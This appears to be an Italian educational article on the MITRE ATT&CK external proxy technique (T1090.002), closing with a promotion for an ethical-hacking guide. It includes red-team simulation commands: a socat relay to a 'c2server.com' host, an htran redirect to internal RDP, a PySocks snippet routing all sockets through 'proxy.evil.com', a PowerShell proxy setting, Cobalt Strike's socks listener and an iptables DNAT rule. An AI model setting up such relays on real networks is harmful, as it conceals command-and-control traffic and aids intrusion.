Proxy Esterni: External Proxy (T1090.002)

I proxy esterni rappresentano una tecnica di command and control sofisticata che permette agli attaccanti di mascherare le comunicazioni verso i propri server attraverso sistemi intermediari. Questa metodologia sfrutta infrastrutture compromesse o acquistate per creare catene di relay che rendono complessa l'attribuzione degli attacchi.

La tecnica si colloca nella fase di Command and Control (TA0011) della kill chain, quando l'attaccante necessita di mantenere comunicazioni persistenti con i sistemi compromessi. L'implementazione avviene attraverso port redirector come HTRAN, ZXProxy e ZXPortMap, strumenti che reindirizzano il traffico attraverso nodi intermedi.

L'adozione di questa tecnica è significativa: 11 gruppi APT documentati la utilizzano regolarmente, insieme a 10 famiglie di malware specializzate. La campagna Quad7 Activity ha dimostrato l'efficacia su larga scala, compromettendo migliaia di router SOHO per creare una rete di proxy distribuita globalmente.

La simulazione di proxy esterni inizia con l'implementazione di un redirector semplice. Su Linux, socat permette di creare un relay TCP basilare:

socat TCP-LISTEN:8080,fork TCP:c2server.com:443

Per scenari più complessi, HTRAN offre funzionalità avanzate di tunneling. La sintassi base per Windows prevede:

htran.exe -tran 443 192.168.1.100 3389

Questo comando reindirizza il traffico dalla porta 443 locale verso RDP sul target interno. La bellezza sta nella possibilità di concatenare multiple istanze per creare percorsi tortuosi.

Gli attaccanti sofisticati implementano SOCKS5 per maggiore flessibilità. Python offre librerie come PySocks per creare proxy custom:

import socks
socks.set_default_proxy(socks.SOCKS5, "proxy.evil.com", 1080)
socket.socket = socks.socksocket

La configurazione di proxy multipli richiede rotazione dinamica. PowerShell permette di gestire proxy di sistema:

[System.Net.WebRequest]::DefaultWebProxy = New-Object System.Net.WebProxy("http://proxy1.com:8080")

Per testing avanzato, Cobalt Strike integra funzionalità di proxy chaining native. Il comando socks 1080 attiva un listener SOCKS che può essere concatenato attraverso beacon multipli.

La persistenza del proxy richiede configurazioni di rete stabili. Su Linux, iptables permette di creare regole permanenti:

iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 10.0.0.5:8080

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo